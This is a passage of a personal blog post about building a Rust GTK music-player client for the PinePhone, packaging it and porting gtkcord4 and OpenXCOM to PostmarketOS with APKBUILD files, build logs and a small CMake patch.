gtk::Button::from_icon_name(Some("list-add-symbolic"), gtk::IconSize::SmallToolbar); + add_individual_song.set_visible(true); + let filename = item.property::("filename"); + add_individual_song.connect_clicked(move |_| { + let filename = filename.clone(); + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::QueueAddRequest(filename)) + .expect("Couldn't notify thread"); + sender + .try_send(StateUpdateKind::MpdEvent) + .expect("Couldn't notify thread"); + }); + grid.attach(&add_individual_song, 0, 0, 1, 1); + + let title_label = gtk::Label::new(None); + title_label.set_line_wrap(true); + title_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("title", &title_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&title_label, 1, 0, 1, 1); + + let album_label = gtk::Label::new(None); + album_label.set_line_wrap(true); + album_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("album", &album_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&album_label, 2, 0, 1, 1); + + let artist_label = gtk::Label::new(None); + artist_label.set_line_wrap(true); + artist_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("artist", &artist_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&artist_label, 3, 0, 1, 1); + + grid.show_all(); + box_.add(&grid); + box_.upcast::() + })); + + let scrolled_window = + gtk::ScrolledWindow::new(gtk::Adjustment::NONE, gtk::Adjustment::NONE); + scrolled_window.add(&listbox); + scrolled_window.set_vexpand(true); + + container.add(&query_input); + container.add(&scrolled_window); + + QueryInfo { container, model } + } +} + +impl AsRef for QueryInfo { + fn as_ref(&self) -> >k::Widget { + self.container.upcast_ref() + } +} + +// Unfortunately, to use the `ListStore` interface, we'll need to represent our +// data as an actual `glib` object. This is a little hairy in Rust, involving a +// fair bit of boilerplate, but not too terrible. +glib::wrapper! { + pub struct SongObject(ObjectSubclass); +} + +impl SongObject { + pub fn new(song: &mpd::song::Song) -> Self { + glib::Object::new(&[ + ("filename", &song.file.clone()), + ( + "title", + &song + .title + .as_ref() + .cloned() + .unwrap_or_else(|| "[Untitled]".into()), + ), + ( + "artist", + &song + .artist + .as_ref() + .cloned() + .unwrap_or_else(|| "[No Artist]".into()), + ), + ( + "album", + &song + .tags + .get("Album") + .cloned() + .unwrap_or_else(|| "[Untitled]".into()), + ), + ]) + .expect("Failed to create `SongObject`.") + } + + pub fn set_index(&self, idx: u32) { + let private = imp::SongObject::from_instance(self); + private.index.set(idx); + } +} + +// These class "implementations" are typically done in a separate +// file/directory. I wanted to keep the example self-contained. +mod imp { + use std::cell::{Cell, RefCell}; + + use glib::{ParamSpec, ParamSpecString, Value}; + use gtk::glib; + use gtk::prelude::*; + use gtk::subclass::prelude::*; + use once_cell::sync::Lazy; + + // Object holding the state + #[derive(Default)] + pub struct SongObject { + filename: RefCell, + title: RefCell, + artist: RefCell, + album: RefCell, + pub(crate) index: Cell, + } + + // The central trait for subclassing a GObject + #[glib::object_subclass] + impl ObjectSubclass for SongObject { + const NAME: &'static str = "TunesSongObject"; + type Type = super::SongObject; + } + + // Trait shared by all GObjects + impl ObjectImpl for SongObject { + fn properties() -> &'static [ParamSpec] { + static PROPERTIES: Lazy> = Lazy::new(|| { + vec![ + ParamSpecString::builder("filename").build(), + ParamSpecString::builder("title").build(), + ParamSpecString::builder("artist").build(), + ParamSpecString::builder("album").build(), + ParamSpecString::builder("index").build(), + ] + }); + PROPERTIES.as_ref() + } + + fn set_property(&self, _obj: &Self::Type, _id: usize, value: &Value, pspec: &ParamSpec) { + match pspec.name() { + "filename" => { + let input = value + .get() + .expect("The value needs to be of type `String`."); + self.filename.replace(input); + } + "title" => { + let input = value + .get() + .expect("The value needs to be of type `String`."); + self.title.replace(input); + } + "artist" => { + let input = value + .get() + .expect("The value needs to be of type `String`."); + self.artist.replace(input); + } + "album" => { + let input = value + .get() + .expect("The value needs to be of type `String`."); + self.album.replace(input); + } + "index" => { + let input = value.get().expect("The value needs to be of type `u32`."); + self.index.replace(input); + } + _ => unimplemented!(), + } + } + + fn property(&self, _obj: &Self::Type, _id: usize, pspec: &ParamSpec) -> Value { + match pspec.name() { + "filename" => self.filename.borrow().to_value(), + "title" => self.title.borrow().to_value(), + "artist" => self.artist.borrow().to_value(), + "album" => self.album.borrow().to_value(), + "index" => self.index.get().to_value(), + _ => unimplemented!(), + } + } + } +} +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +Basically, a sizable amount of code to set up these two views: =SongInfo=, which +is somewhat of a misnomer because it shows more than just information about the +currently-playing song, and =QueryInfo=, which is the view for searching through +the =mpd= database. Then there's some =mpsc= plumbing to get the UI to talk with the +thread that's responsible for talking to =mpd=. It's a big hunk of code, but I'm +confident it's sufficiently commented that I don't need to re-learn any literate +programming tools to talk about it in this article. + +I did all the development for this in Emacs on my primary workstation, keeping +in mind that I would eventually be putting this on a mobile phone, but otherwise +writing it as I would a desktop application. The feedback loop was much faster +than what I had when I was doing Android development all those years ago, since +I was literally compiling and running the program on my workstation. + +#+CAPTION: The primary view of Tunes as it appears on my workstation +[[./tunes-on-workstation.png]] + +The only part that was really affected by the mobile consideration was with +using a =ListStore= instead of just adding things into a =ListBox=. I'm frankly not +sure I did it right, but the intent was to have an application that doesn't +create a thousand labels at once, instead instantiating them as they come into +view. This is by no means a mobile-only consideration, but the PinePhone has an +eighth the memory of my workstation, and I have a big (20G) music collection. +Anyway, the right way to do it is described [[https://gtk-rs.org/gtk4-rs/stable/latest/book/list_widgets.html][here]], but that book is using GTK4, +so I wasn't able to lift it verbatim. + +The rest of it is standard Rust, once you realize that everything in GTK land is +basically an =Arc>=. Closures are a little funny, too, which is why you +see =let mut sender = sender.clone()= show up so frequently: we can't share the +same mutable reference across multiple invocations of the same closure[fn:12] + +I tried to go against the grain and use regular Rust structs (that implement +=AsRef=) instead of using subclassing, but you can see that I had to do it +anyway to shoehorn the data we got from =mpd= into the =ListStore=. I think the +struct-based composition is a little bit nicer to work with. + +Once I had the code tested, somewhat optimized, and refactored, I was ready to +try it out on the phone. + +*** Building and Installing the Application on PostmarketOS + +=pmbootstrap= comes with a nice =hello-world-rust= =APKBUILD= to get you started with +packaging your Rust application. + +#+BEGIN_SRC sh +# Maintainer: Oliver Smith <[REDACTED]> +pkgname=hello-world-rust +pkgver="0.1.1" +pkgrel=0 +pkgdesc="Small test program for (cross) compiling rust" +url="https://gitlab.com/ollieparanoid/hello-world-rust/" +arch="all" +license="Unlicense" +makedepends="cargo" +source="https://gitlab.com/ollieparanoid/hello-world-rust/-/archive/$pkgver/hello-world-rust-$pkgver.tar.bz2" + +build() { + cargo build --release --locked +} + +check() { + printf 'Hello, world!\n' > expected + target/release/hello_world_rust > real + diff -q expected real +} + +package() { + cargo install --path . --root="$pkgdir/usr" + rm "$pkgdir"/usr/.crates.toml +} + +sha512sums="b755b02529e6ad40a969d5d563bc28be1202c8008661b72335c8c9e6f06bc5f0220fa047f5444b552815df5184c3ab86eb2f6a4f70701962fa0d4bc9a25ab259 hello-world-rust-0.1.1.tar.bz2" +#+END_SRC + +I copied this over to a new directory under =cache_git= named =tunes=, threw my +source tree into a tarball, and edited the template =APKBUILD= to declare the +dependencies my application would need. + +#+BEGIN_SRC sh +# Maintainer: Jakob L. Kreuze <[REDACTED]> +pkgname=tunes +pkgver="0.1.1" +pkgrel=0 +pkgdesc="Mobile-friendly MPD client" +url="https://git.sr.ht/~jakob/tunes/" +arch="all" +license="GPL-3.0-or-later" +makedepends="cargo gtk+3.0-dev libhandy1-dev" +source="tunes-$pkgver.tar.gz" +options="!check" # no tests + +build() { + cargo build --release --locked +} + +package() { + cargo install --path . --root="$pkgdir/usr" + rm "$pkgdir"/usr/.crates.toml +} + +sha512sums="561c95dcd8cc9e61c7f2faeaa3ffbd5cbd4fc3383a8fe87825b7367343f89ad088de0dd9ca4305b11d22ec9d9e5c1c8300760f73b9b41a497b39dcd0808eb9f8 tunes-0.1.1.tar.gz" +#+END_SRC + +After that it was just =pmbootstrap -t 3600 build --arch=aarch64 tunes=[fn:13], +wait an hour or two, and I had a =tunes-0.1.1-r0.apk= I could work with. I =rsync='d +that over to my PinePhone and ran =apk add --allow-untrusted tunes-0.1.1-r0.apk=, +and it worked on the first try. + +#+CAPTION: The primary view of Tunes on the PinePhone +[[./tunes-on-pinephone.png]] + +I haven't updated the =APKBUILD= to install it, yet, but I've made a =tunes.desktop= +file so that the application shows up on my home screen. + +#+BEGIN_SRC conf +[Desktop Entry] +Type=Application +Version=1.0 +Name=Tunes +Comment=Mobile-friendly MPD client +Icon=mpd +Terminal=false +Exec=/usr/bin/tunes +Categories=Multimedia +#+END_SRC + +#+CAPTION: The entry for Tunes shows up on my home screen with the MPD logo. My wallpaper (a picture of my sweetheart) makes the text a little hard to read, so I apologize for that. +[[./tunes-on-home-screen.png]] + +Final thoughts? That was much more pleasant than anything I've done in Android +land. I've got an application that's actually useful to me that didn't take me +more than a week -- a week where I was working late most nights, mind you. + +It's still a proof-of-concept rather than a battle-tested application thats +ready for packaging upstream, but it's enough to go off of. I'm expecting to +continue working on it, but I might pull in [[https://github.com/Relm4/Relm4][Relm4]] or [[https://github.com/bodil/vgtk][vgtk]] to cut down on some of +the boilerplate and event loop spaghetti. + +**** Comments on the =mpd= interactions + +You may notice that I've vendored the entire =mpd= crate into the the =tunes= +repository. In short: the =mpd= crate is pretty old and a little broken. I ran +into [[https://github.com/kstep/rust-mpd/issues/40][this (two-year old!) issue]] using the query interface, so I cloned =master= +and applied SimonPersson's patch. Then I ran into /another/ issue where I was +trying to send a song path across a channel instead of the whole =Song=, and I +wasn't able to use that for the API calls I wanted to make, because =ToSongPath= +isn't implemented for =String= or =&str=. It should be, since there's an =impl +ToSongPath for dyn AsRef=, but there isn't, so I had to add my own =push_str= +method. I also merged in another [[https://github.com/kstep/rust-mpd/pull/43][pull request]] from SimonPersson which adds +=albumart= support... so I have a pseudo-fork of the =mpd= crate sitting around, +which I had to bring into version control if anyone was going to reasonably +build Tunes from source. + +When I eventually come back to this to make it more than a useful prototype, +I'll probably drop the 'mpd' crate for something that's better-maintained. +Either [[https://github.com/SimonPersson/mpdrs][mpdrs]] as it's a plain old fork of 'mpd' with the things I want, or +[[https://github.com/elomatreb/mpd_client][mpd_client]] if I decide I want to bring in all of [[https://tokio.rs/][Tokio]] for this little +application. Decisions, decisions. + +** Porting Software + +What one might expect to follow from "it's easy to develop for the PinePhone +because you're writing applications as if you were writing them for your +workstation" is that it should be relatively easy to port existing applications +as well. And this is indeed the case. The compile times can be painful, but I +was successful in cross-compiling [[https://github.com/diamondburned/gtkcord4][diamondburned's gtkcord4]] -- which has no +existing Alpine package to my knowledge -- to run on the PinePhone. + +#+BEGIN_SRC sh +# Contributor: Jakob L. Kreuze <[REDACTED]> +# Maintainer: Jakob L. Kreuze <[REDACTED]> +pkgname=gtkcord4 +pkgver=0.0.2 +pkgrel=0 +pkgdesc="GTK4 Discord client in Go" +url="https://github.com/diamondburned/gtkcord4" +arch="all" +license="GPL-3.0" +makedepends="gtk4.0-dev gobject-introspection-dev libcanberra-dev go" +source="$pkgname-$pkgver.tar.gz::https://github.com/diamondburned/gtkcord4/archive/refs/tags/v${pkgver}.tar.gz" + +build() { + go build +} + +package() { + install -D -m755 $pkgname "$pkgdir"/usr/bin/$pkgname +} + +sha512sums=" +1c0465f4c2d54794551811c0a536b610a51d3f795c403af3cf10954a46770b42d1aadef4709818f935aa54e2b413052546bdde5214f44e89d5ad2e2d7cbdf514 gtkcord4-0.0.2.tar.gz +" +#+END_SRC + +The above is all it took. I initialized =pmbootstrap=, made a directory named +=gtkcord4= under =cache_git/pmaports/main=, ran =pmbootstrap build --arch,=aarch64 +gktcord4=, and a couple hours later and I had a =gtkcord4-0.0.2-r0.apk= sitting +under =packages/v21.12/aarch64=. + +I'm not sure diamondburned ever anticipated that gtkcord4 would be running on a +mobile device, but thanks to their choice to use GTK4, I didn't have to make any +changes to the code and it still runs great on my device. + +#+CAPTION: gtkcord4 running on the PinePhone, showing a conversation between myself and my friend. +#+ATTR_HTML: :alt [10:46 AM] Jakob: If you managed to get enough samples, do you think you could do a TEMPEST-like attack on USB? [Line Break] [10:47 AM] Ergodic: I don't see why not [Line Break] [10:47 AM] Jakob: Or serial, or any other standard where the connection doesn't have a lot to keep it from being leaky [Line Break] [10:47 AM] Ergodic: I think Israel can dump ram from far away right? [Line Break] [10:47 AM] Ergodic: So pretty much anything [Line Break] [10:47 AM] Ergodic: Well [Line Break] [10:48 AM] Ergodic: Actually [Line Break] [10:48 AM] Ergodic: Wait [Line Break] [10:48 AM] Ergodic: With um [Line Break] [10:48 AM] Ergodic: A HdMI it doesn't matter if some data is wrong cuz you can keep resampling, same with ram [Line Break] [10:48 AM] Ergodic: But you can't with USB unless they're doing the same thing 40 times in a row 👀 [Line Break] [10:49 AM] Ergodic: Like depending on the protocol, how accurate do you wanna be +[[./gtkcord4-on-pinephone.png]] + +Some applications might need to be modified to work well on a touchscreen. I +haven't had to do that yet, and even if I did, I would expect it to be a +difficult topic to cover in this (already quite long) article. The part that I +will elaborate on is how we got to that magic code block above. The gtkcord4 +example is a little boring because of how little it takes to invoke the Go build +system,[fn:14] so let's port [[https://openxcom.org/][OpenXCOM]] instead. I'll start from scratch and +document my process as I go. + +Speaking of process, this is basically what I follow: + +1. Determine if the software in question is already packaged in another + source-based distribution (basically Gentoo or the Arch AUR). + 1. If so, translate the recipe to APKBUILD. In the case of Gentoo, figure out + what set of =USE= flags "make sense" as a default. + 2. Use [[https://pkgs.alpinelinux.org/packages][pkgs.alpinelinux.org]] to map each dependency in the original package + spec to an Alpine dependency. +2. If it isn't... + 1. Find a skeleton APKBUILD (like the "hello world" example in the + [[*Building and Installing the Application on PostmarketOS]["Building and Installing the Application on PostmarketOS"]] section). + 2. Fill it in with the instructions to compile from upstream. I find you need + to specify =build= and =package= as the bare minimum if you explicitly disable + =check=. + 3. Guess-and-check for dependencies. Sometimes upstream will be good about + enumerating them, sometimes not so much. + +I know that [[https://packages.gentoo.org/packages/games-engines/openxcom][openxcom is packaged in Gentoo]], so we'll start there. + +#+BEGIN_SRC sh +# Copyright 1999-2021 Gentoo Authors +# Distributed under the terms of the GNU General Public License v2 + +EAPI=7 + +inherit cmake xdg-utils + +DESCRIPTION="Open-source reimplementation of the popular UFO: Enemy Unknown" +HOMEPAGE="https://openxcom.org/" + +if [[ ${PV} == *9999 ]]; then + inherit git-r3 + EGIT_REPO_URI="https://github.com/SupSuper/OpenXcom.git" +else + COMMIT="ea9ac466221f8b4f8974d2db1c42dc4ad6126564" + SRC_URI="https://github.com/SupSuper/OpenXcom/archive/${COMMIT}.tar.gz -> ${P}.tar.gz" + KEYWORDS="~amd64 ~arm64 ~x86" + S="${WORKDIR}/OpenXcom-${COMMIT}" +fi + +LICENSE="GPL-3+ CC-BY-SA-4.0" +SLOT="0" +IUSE="doc" + +RDEPEND=" + >=dev-cpp/yaml-cpp-0.5.1 + media-libs/libsdl[opengl,video] + media-libs/sdl-gfx + media-libs/sdl-image[png] + media-libs/sdl-mixer[flac,mikmod,vorbis]" +DEPEND="${RDEPEND}" +BDEPEND="doc? ( app-doc/doxygen )" + +DOCS=( README.md ) + +src_compile() { + cmake_src_compile + use doc && cmake_build doxygen +} + +src_install() { + use doc && local HTML_DOCS=( "${BUILD_DIR}"/docs/html/. ) + cmake_src_install +} + +pkg_postinst() { + xdg_icon_cache_update + + elog "In order to play you need copy GEODATA, GEOGRAPH, MAPS, ROUTES, SOUND," + elog "TERRAIN, UFOGRAPH, UFOINTRO, UNITS folders from original X-COM game to" + elog "/usr/share/${PN}/UFO" + elog + elog "If you want to play the TFTD mod, you need to copy ANIMS, FLOP_INT," + elog "GEODATA, GEOGRAPH, MAPS, ROUTES, SOUND, TERRAIN, UFOGRAPH, UNITS folders" + elog "from the original Terror from the Deep game to" + elog "/usr/share/${PN}/TFTD" + elog + elog "If you need or want text in some language other than english, download:" + elog "https://openxcom.org/translations/latest.zip and uncompress it in" + elog "/usr/share/${PN}/common/Language" +} + +pkg_postrm() { + xdg_icon_cache_update +} +#+END_SRC + +Although I probably should, I'm not going to bother with =postinst= or =postrm= +right now. I'm also not going to build the docs. What we can tell immediately is +that this is a CMake project (so we should find an =APKBUILD= for something else +that uses CMake -- I used =gzdoom=) and the dependencies are the following: + +- =yaml-cpp= +- =sdl= +- =sdl_gfx= +- =sdl_image= +- =sdl_mixer= + +All of these are packaged in Alpine except =sdl_mixer=, so we'll need to port that +ourselves. I was able to take the =APKBUILD= for =sdl_mixer= and use that as a +skeleton. The packages are packaged very similarly, so I was able to fill in the +blanks with some of the info from the [[https://packages.gentoo.org/packages/media-libs/sdl-gfx][Gentoo package]]. + +#+BEGIN_SRC sh +# Contributor: Jakob L. Kreuze <[REDACTED]> +# Maintainer: Jakob L. Kreuze <[REDACTED]> +pkgname=sdl_gfx +pkgver=2.0.26 +pkgrel=3 +pkgdesc="Graphics drawing primitives library for SDL" +url="https://www.ferzkopp.net/wordpress/2016/01/02/sdl_gfx-sdl2_gfx/" +arch="all" +license="zlib" +makedepends="sdl-dev" +subpackages="$pkgname-dev" +source="http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-$pkgver.tar.gz" +builddir="$srcdir"/SDL_gfx-$pkgver + +prepare() { + default_prepare + update_config_sub + update_config_guess +} + +build() { + ./configure \ + --build=$CBUILD \ + --host=$CHOST \ + --prefix=/usr \ + --sysconfdir=/etc \ + --mandir=/usr/share/man \ + --infodir=/usr/share/info + make +} + +package() { + make DESTDIR="$pkgdir" install +} + +sha512sums="e571caa0d7575683efd4cf8f0a41ab10f4acf913f9ece216ac823af11da22c8734fc2c0ea049009a3e1a53715e49622f5bfcfdbdafb95e5151990d0a4eb69c01 SDL_gfx-2.0.26.tar.gz" +#+END_SRC + +It took a little bit of trial and error to arrive at the =APKBUILD= above. I first +ran into an issue with autotools not recognizing the target platform. + +#+BEGIN_SRC prog +>>> sdl_gfx: Building pmos/sdl_gfx 2.0.26-r3 (using abuild 3.9.0-r0) started Tue, 23 Aug 2022 01:28:27 +0000 +>>> sdl_gfx: Checking sanity of /home/pmos/build/APKBUILD... +>>> sdl_gfx: Cleaning up srcdir +>>> sdl_gfx: Cleaning up pkgdir +>>> sdl_gfx: Fetching http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-2.0.26.tar.gz + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed +100 251 100 251 0 0 1764 0 --:--:-- --:--:-- --:--:-- 2127 +100 1729k 100 1729k 0 0 2103k 0 --:--:-- --:--:-- --:--:-- 2103k +>>> sdl_gfx: Fetching http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-2.0.26.tar.gz +>>> sdl_gfx: Checking sha512sums... +SDL_gfx-2.0.26.tar.gz: OK +>>> sdl_gfx: Unpacking /var/cache/distfiles/SDL_gfx-2.0.26.tar.gz... +checking build system type... Invalid configuration `aarch64-alpine-linux-musl': machine `aarch64-alpine-linux' not recognized +configure: error: /bin/sh ./config.sub aarch64-alpine-linux-musl failed +>>> ERROR: sdl_gfx: build failed +(011680) [21:28:30] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +(011680) [21:28:30] NOTE: The failed command's output is above the ^^^ line in the log file: /home/jakob/Containers/pmbootstrap/pmbootstrap/log.txt +(011680) [21:28:30] ERROR: Command failed (exit code 1): (buildroot_aarch64) % cd /home/pmos/build; busybox su pmos -c CARCH=aarch64 SUDO_APK='abuild-apk --no-progress' PATH=/native/usr/lib/crossdirect/aarch64:/usr/lib/ccache/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOME=/home/pmos abuild -D postmarketOS -d +(011680) [21:28:30] See also: +(011680) [21:28:30] Traceback (most recent call last): + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/__init__.py", line 49, in main + getattr(frontend, args.action)(args) + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/frontend.py", line 114, in build + if not pmb.build.package(args, package, arch_package, force, + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/build/_package.py", line 520, in package + (output, cmd, env) = run_abuild(args, apkbuild, arch, strict, force, cross, + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/build/_package.py", line 447, in run_abuild + pmb.chroot.user(args, cmd, suffix, "/home/pmos/build", env=env) + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/chroot/user.py", line 26, in user + return pmb.chroot.root(args, cmd, suffix, working_dir, output, + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/chroot/root.py", line 76, in root + return pmb.helpers.run_core.core(args, msg, cmd_sudo, None, output, + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/run_core.py", line 347, in core + check_return_code(args, code, log_message) + File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/run_core.py", line 219, in check_return_code + raise RuntimeError(f"Command failed (exit code {str(code)}): " + +RuntimeError: Command failed (exit code 1): (buildroot_aarch64) % cd /home/pmos/build; busybox su pmos -c CARCH=aarch64 SUDO_APK='abuild-apk --no-progress' PATH=/native/usr/lib/crossdirect/aarch64:/usr/lib/ccache/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOME=/home/pmos abuild -D postmarketOS -d +#+END_SRC + +Fortunately, it wasn't too difficult to find the issue online. Someone had tried +(unsuccessfully) to [[https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/15673][add sdl_ttf to aports]] and ran into the same issue. The +recommendation in the MR comments was to include the =prepare= block above. + +When that was sorted, I had a =sdl_gfx= package that I could use as a dependency +for =openxcom=. + +#+BEGIN_SRC sh +# Contributor: Jakob L. Kreuze <[REDACTED]> +# Maintainer: Jakob L. Kreuze <[REDACTED]> +_commit="ea9ac466221f8b4f8974d2db1c42dc4ad6126564" +pkgname=openxcom +pkgver=1.0.0 +pkgrel=1 +pkgdesc="Open-source reimplementation of the popular UFO: Enemy Unknown" +url="https://openxcom.org/" +arch="all" +license="GPL-3.0-or-later" +makedepends="cmake ninja yaml-cpp-dev sdl-dev sdl_gfx-dev sdl_image-dev sdl_mixer-dev glu-dev libexecinfo-dev" +depends="libexecinfo" +source="openxcom-$pkgver.tar.gz::https://github.com/OpenXcom/OpenXcom/archive/$_commit.tar.gz +0001-Link-execinfo-unconditionally.patch" +builddir="$srcdir"/OpenXcom-$_commit + +build() { + if [ "$CBUILD" != "$CHOST" ]; then + CMAKE_CROSSOPTS="-DCMAKE_SYSTEM_NAME=Linux -DCMAKE_HOST_SYSTEM_NAME=Linux" + fi + cmake -B build -G Ninja \ + -DCMAKE_BUILD_TYPE=Release \ + -DCMAKE_INSTALL_PREFIX=/usr \ + -DBUILD_SHARED_LIBS=True \ + $CMAKE_CROSSOPTS + cmake --build build +} + +package() { + DESTDIR="$pkgdir" cmake --install build +} + +sha512sums="57ff9a9cbbbf48b8c4f792458edf0590d7d0df9a5805eab13a4c984713311e98587afca00778e82bd66fb2f330b354ca80703b87922a92f9ae48e5bdecf68442 openxcom-1.0.0.tar.gz +de4cc52530200992fef0e723acd59fef1b214f5b12baabec4dcca03820fbbc38c30033c0707f918fccc29e7d0d67ddef0c2a7be56d21b2bba7221899c759c282 0001-Link-execinfo-unconditionally.patch" +#+END_SRC + +where =0001-Link-execinfo-unconditionally.patch= is the following: + +#+BEGIN_SRC diff +From 2fe3e39c90086c7e3953d83ce75b0686ee4f5813 Mon Sep 17 00:00:00 2001 +From: "Jakob L. Kreuze" <[REDACTED]> +Date: Tue, 23 Aug 2022 20:11:16 -0400 +Subject: [PATCH] Link execinfo unconditionally + +--- + src/CMakeLists.txt | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt +index d484380ba..b7d3020bd 100644 +--- a/src/CMakeLists.txt ++++ b/src/CMakeLists.txt +@@ -485,9 +485,7 @@ if ( WIN32 ) + endif () + + # backtrace(3) requires libexecinfo on some *BSD systems +-if (${CMAKE_SYSTEM_NAME} MATCHES FreeBSD OR ${CMAKE_SYSTEM_NAME} MATCHES NetBSD OR ${CMAKE_SYSTEM_NAME} MATCHES OpenBSD) +- set ( system_libs -lexecinfo ) +-endif () ++set ( system_libs -lexecinfo ) + + target_link_libraries ( openxcom ${system_libs} ${SDLIMAGE_LIBRARY} ${SDLMIXER_LIBRARY} ${SDLGFX_LIBRARY} ${SDL_LIBRARY} ${OPENGL_LIBRARIES} debug ${YAMLCPP_LIBRARY_DEBUG} optimized ${YAMLCPP_LIBRARY} ) + +-- +2.37.2 + +#+END_SRC + +The first error I got was about a missing =mmintrin.h=. I opened up the source +code and found that was under an =IFDEF= for =MMX= support, so I did a =./configure +--help= to figure out how to disable that. After that, I was getting a message +about a missing =glu.h=. + +#+BEGIN_SRC prog +[63/313] Building CXX object src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o +ninja: job failed: /native/usr/lib/crossdirect/aarch64/g++ -DDATADIR=\"/usr/share/openxcom/\" -DGIT_BUILD=1 -I/usr/include/SDL -I/usr/include/yaml-cpp -I/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/build -Os -fomit-frame-pointer -O3 -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o -MF src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o.d -o src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o -c /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/RuleVideo.cpp +In file included from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/../Engine/OpenGL.h:15, + from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/../Engine/Screen.h:22, + from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/RuleVideo.cpp:21: +/usr/include/SDL/SDL_opengl.h:47:10: fatal error: GL/glu.h: No such file or directory + 47 | #include /* Header File For The GLU Library */ + | ^~~~~~~~~~ +compilation terminated. +ninja: subcommand failed +>>> ERROR: openxcom: build failed +#+END_SRC + +I went ahead and added the =glu-dev= dependency, after which point I was getting +some warnings about redefinitions. So I have a feeling this might have been +another thing that was behind an =IFDEF=, but that's a problem for later. + +#+BEGIN_SRC prog +[218/313] Building CXX object src/CMakeFiles/openxcom.dir/Engine/AdlibMusic.cpp.o +ninja: job failed: /native/usr/lib/crossdirect/aarch64/g++ -DDATADIR=\"/usr/share/openxcom/\" -DGIT_BUILD=1 -I/usr/include/SDL -I/usr/include/yaml-cpp -I/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/build -Os -fomit-frame-pointer -O3 -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o -MF src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o.d -o src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o -c /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Engine/CrossPlatform.cpp +/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Engine/CrossPlatform.cpp:68:10: fatal error: execinfo.h: No such file or directory + 68 | #include + | ^~~~~~~~~~~~ +compilation terminated. +ninja: subcommand failed +>>> ERROR: openxcom: build failed +#+END_SRC + +The last errors I got were related to =execinfo=. This is, to my knowledge, a +=glibc= thing. Fortunately, Alpine being a popular base image in Docker land means +[[https://github.com/ddopson/node-segfault-handler/issues/70][the workarounds]] are easy to find on the 'net. The missing header file was one, +thing, but then I was getting some linker errors about a missing symbol for +=backtrace=. Searching came up with an [[https://discuss.pytorch.org/t/compiling-master-from-source-on-alpine-fails-with-undefined-reference-to-backtrace/64676][issue in PyTorch]] which gave me some +insight, and then I found a [[https://github.com/OpenXcom/OpenXcom/pull/1123][pull request upstream]] related to it. My patch above +just makes the fix in that pull request unconditional (in =master=, it's only +applied on BSD); we get all the =backtrace= symbols from =execinfo=, but we need to +make sure it's actually linked into the binary. + +Then.. shit. It built correctly, but my =pmbootstrap= setup was a version behind +the PostmarketOS on my phone (=v21.12= vs =v22.06=), so I was getting some +dependency resolution errors. I re-initialized =pmbootstrap= and then learned that +=sdl-dev= is no longer supported, so I had to backport it from =edge/testing=. It +was at least smooth sailing after that. + +#+CAPTION: OpenXcom running on the PinePhone. It performs surprisingly well. +[[./openxcom-on-pinephone.png]] + +So porting software to the PinePhone is relatively easy. + +You don't even have to go through half of the mess that I did if you don't care +about cross-compiling or having things tracked by the package manager. You could +probably just install the =gcc= toolchain and do a =make && sudo make install= on +your phone; Alpine/PostmarketOS have [[https://wiki.alpinelinux.org/wiki/Running_glibc_programs][glibc compatibility]]. Or, hell, use a +Flatpak/AppImage/Snap if you want to. + +However you do it, the end result is the same. You get to use the same Linux +applications on your phone that you would on your desktop, and I think that's +great. + +* Community + +Despite owning several PINE64 widgets and doodads, I've basically had no +interactions with the PINE64 community. I leverage community maintained +resources like the PINE64 wiki and 